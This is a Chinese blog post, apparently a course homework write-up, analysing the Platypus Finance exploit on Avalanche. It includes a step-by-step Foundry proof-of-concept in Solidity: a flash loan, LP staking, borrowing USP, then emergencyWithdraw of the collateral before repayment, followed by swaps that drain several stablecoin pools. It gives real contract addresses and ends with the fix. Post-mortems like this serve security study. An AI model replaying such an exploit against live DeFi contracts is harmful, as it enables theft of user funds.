Platypus是雪崩链的稳定币交易所,为了解决流动性问题,增加了借贷功能,也因此出了bug。 本文的代码可以在Github是下载:https://github.com/rickwang9/HackerAnalysis
<!--StartFragment-->
Platypus 是雪崩链的稳定币交易所,众所周知,交易所都有流动性的问题,怎么才能把token的利用率最大化是所有DEX要解决的问题,这个问题不是本篇的重点,这里不做讨论。
Platypus 做了自己的创新,用户向 Platypus 提供流动性,正常要得到 LP Token,这是通用的设计。Platypus 将 LP Token设计成了一个可以抵押兑换新的稳定币 USP的机制。
新的稳定币 USP,其他交易所都不会认可。也不是让你拿 USP 出去用的。
拿着USP,你可以去 Platypus金库借贷出通用的稳定币出来,继续用来提供流动性。 这就极大的提高了资金的利用效率。
所以, Platypus 不仅仅是 DEX,还是 Lending。功能越多风险也越大,这次就是借贷的地方少了安全检测,出了bug。
攻击在Platypus的借贷功能里
emergencyWithdraw
-有bug的代码:depost
(提供流动性),swap
(交易稳定币),withdraw
(移除流动性)。depost
(抵押LPToken),withdraw
(解除抵押)。borrow
(借出USP),repay
(偿还USP),positionView
(用户抵押持仓信息)isSolvent
(判断账户是否资不抵债),startAuction
(清算)。<!--StartFragment-->
SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)\ SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot\ SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)
工程里有大量POC代码,非常推荐!!!
PhaIcon
功能很强大。我只说几个我认为重要的点:
写POC的参数时,尤其是amount,要开启static。
下图,第一行查询出来的44,000,000
就是后面两行的入参。
static查询能确定60%的数字来源,剩下的40%需要仔细看业务逻辑的返回值。
platypusPool
提供流动性, 44,000,000个USDC,得到LP TokenmasterPlatypusV4
作为抵押物platypusTreasure
借款USP,platypusTreasure
会检查 step3 用户的抵押金额。masterPlatypusV4
紧急取款 LP Token(漏洞在此)platypusPool
取款 USDC// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo -
// Attacker : https://avascan.info/blockchain/c/address/0xeff003d64046a6f521ba31f39405cb720e953958
// Attack Contract : https://avascan.info/blockchain/c/address/0x67afdd6489d40a01dae65f709367e1b1d18a5322
// Vulnerable Contract : https://avascan.info/blockchain/c/address/0xbcd6796177ab8071f6a9ba2c3e2e0301ee91bef5
// Attack Tx : https://avascan.info/blockchain/c/tx/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430
// @Info
// Vulnerable Contract Code : https://avascan.info/blockchain/c/address/0xbcd6796177ab8071f6a9ba2c3e2e0301ee91bef5/contract
// @Analysis
// Twitter Guy :https://twitter.com/peckshield/status/1626367531480125440
// https://explorer.phalcon.xyz/tx/avax/0x1266a937c2ccd970e5d7929021eed3ec593a95c68a99b4920c2efa226679b430
contract ContractTest is Test{
}
interface AaveV3Pool {
function flashLoanSimple(address receiverAddress, address asset, uint amount, bytes memory params, uint16 referralCode) external;
}
interface PlatypusPool {
function deposit(address token, uint amount, address to, uint deadline) external returns (uint);
function swap(address fromToken, address toToken, uint fromAmount, uint minnumAmount, address to, uint deadline) external returns (uint, uint);
function withdraw(address token, uint liquidity, uint minimumAmount, address to, uint deadline) external returns (uint);
function getTokenAddresses() external view returns (address[] memory);
function assetOf(address token) external view returns (address);//key-value: USDC->LP_USDC
}
interface IUSP is IERC20{
function approve(address spender, uint256 amount) external returns (bool);
}
interface ILP_USDC is IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
}
interface MasterPlatypusV4{
function deposit(uint _pid, uint _amount) external returns(uint256, uint256[] memory);
function emergencyWithdraw(uint pid) external;
}
interface PlatypusTreasure{
function borrow(address token, uint borrowAmount) external;
function isSolvent(
address _user,
address _token,
bool _open
) external view returns (bool solvent, uint256 debtAmount) ;
function positionView(address _user, address _token) external view returns (PositionView memory);
/// @notice A struct to preview a user's collateral position; external view-only
struct PositionView {
uint256 collateralAmount;
uint256 collateralUSD;
uint256 borrowLimitUSP;
uint256 liquidateLimitUSP;
uint256 debtAmountUSP;
uint256 debtShare;
uint256 healthFactor; // `healthFactor` is 0 if `debtAmountUSP` is 0
bool liquidable;
}
}
contract ContractTest is Test{
AaveV3Pool aaveV3Pool = AaveV3Pool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
IERC20 USDT = IERC20(0x9702230A8Ea53601f5cD2dc00fDBc13d4dF4A8c7);
IERC20 USDT_e = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
IERC20 BUSD = IERC20(0x9C9e5fD8bbc25984B178FdCE6117Defa39d2db39);
IERC20 DAI_e = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);
ILP_USDC LP_USDC = ILP_USDC(0xAEf735B1E7EcfAf8209ea46610585817Dc0a2E16);
IUSP USP = IUSP(0xdaCDe03d7Ab4D81fEDdc3a20fAA89aBAc9072CE2);
PlatypusPool platypusPool = PlatypusPool(0x66357dCaCe80431aee0A7507e2E361B7e2402370);
MasterPlatypusV4 masterPlatypusV4 = MasterPlatypusV4(0xfF6934aAC9C94E1C39358D4fDCF70aeca77D0AB0);
PlatypusTreasure platypusTreasure = PlatypusTreasure(0x061da45081ACE6ce1622b9787b68aa7033621438);//这里应该是proxy的地址
function setUp() public {
vm.createSelectFork('Avalanche', 26343614 - 1);
}
}
function testExploit() public {
aaveV3Pool.flashLoanSimple(address(this), address(USDC), 44_000_000e6, abi.encode(""), 0);
}
platypusPool
提供流动性, 44,000,000个USDC,得到LP Token function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
console.log("executeOperation");
console.logBytes(params);
//step2
USDC.approve(address(aaveV3Pool), amount + premium);//44,022,000e6变成44_022_000e6
USDC.approve(address(platypusPool), amount);
platypusPool.deposit(address(USDC), amount, address(this), block.timestamp+1000);//
return true;
}
masterPlatypusV4
作为抵押物 function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
console.log("executeOperation");
console.logBytes(params);
//step2
...
//step3
uint256 LP_USDC_myBalance = LP_USDC.balanceOf(address(this));
LP_USDC.approve(address(masterPlatypusV4), LP_USDC_myBalance);
masterPlatypusV4.deposit(4, LP_USDC_myBalance);
return true;
}
platypusTreasure
借款USP,platypusTreasure
会检查 step3 用户的抵押金额。 function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
console.log("executeOperation");
console.logBytes(params);
//step2
...
//step3
...
//step4
PlatypusTreasure.PositionView memory positionView = platypusTreasure.positionView(address(this), address(LP_USDC));
uint256 borrowLimitUSP = positionView.borrowLimitUSP;
platypusTreasure.borrow(address(LP_USDC), borrowLimitUSP);
return true;
}
masterPlatypusV4的emergencyWithdraw
紧急取款 LP Token(漏洞在此) function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
console.log("executeOperation");
console.logBytes(params);
//step2
...
//step3
...
//step4
...
//step5
logPositionHealthCheck(address(LP_USDC));
masterPlatypusV4.emergencyWithdraw(4);//取LP. 抵押LP借的USP还未换,就取款。
logPositionHealthCheck(address(LP_USDC));
return true;
}
platypusPool
取款 USDC function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
console.log("executeOperation");
console.logBytes(params);
//step2
...
//step3
...
//step4
...
//step5
...
//step6
LP_USDC_myBalance = LP_USDC.balanceOf(address(this));
LP_USDC.approve(address(platypusPool), LP_USDC_myBalance);
platypusPool.withdraw(address(USDC), LP_USDC_myBalance, 0, address(this), block.timestamp+1000);
return true;
}
这里没有兑换完所有的USP,攻击者手里还剩下很多。
function executeOperation(address asset, uint amount, uint premium, address initiator, bytes memory params) external returns (bool){
console.log("executeOperation");
console.logBytes(params);
//step2
...
//step3
...
//step4
...
//step5
...
//step6
...
//step7
USP.approve(address(platypusPool), 9_000_000e18);
platypusPool.swap(address(USP), address(USDC), 2_500_000e18, 0, address(this), block.timestamp+1000);
platypusPool.swap(address(USP), address(USDC_e), 2_000_000e18, 0, address(this), block.timestamp+1000);
platypusPool.swap(address(USP), address(USDT), 1_600_000e18, 0, address(this), block.timestamp+1000);
platypusPool.swap(address(USP), address(USDT_e), 1_250_000e18, 0, address(this), block.timestamp+1000);
platypusPool.swap(address(USP), address(BUSD), 700_000e18, 0, address(this), block.timestamp+1000);
platypusPool.swap(address(USP), address(DAI_e), 700_000e18, 0, address(this), block.timestamp+1000);
return true;
}
攻击者得到了42,044,533个USP,这个量其实已经超过了pool的稳定币现有容量。 所以,只拿出1/5,即9,000,000个USP,还剩下33,044,533个USP没有变现。
看上图,swap把每种稳定币都拿走了接近2/3左右。
我猜测,攻击者是希望Platypus还能继续正常运营,如果一下掏空了,可能项目方就放弃了,毕竟手里还有大量USP等待兑换。
很简单,代码调整下顺序,检查放在transfer
之后,如果转给用户前后,跌破了健康阈值,就revert 回滚代码,攻击就不会发生了。
这是吴磊老师留的第六课作业,我想说亲手写作业真的很重要。
<!--EndFragment-->
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!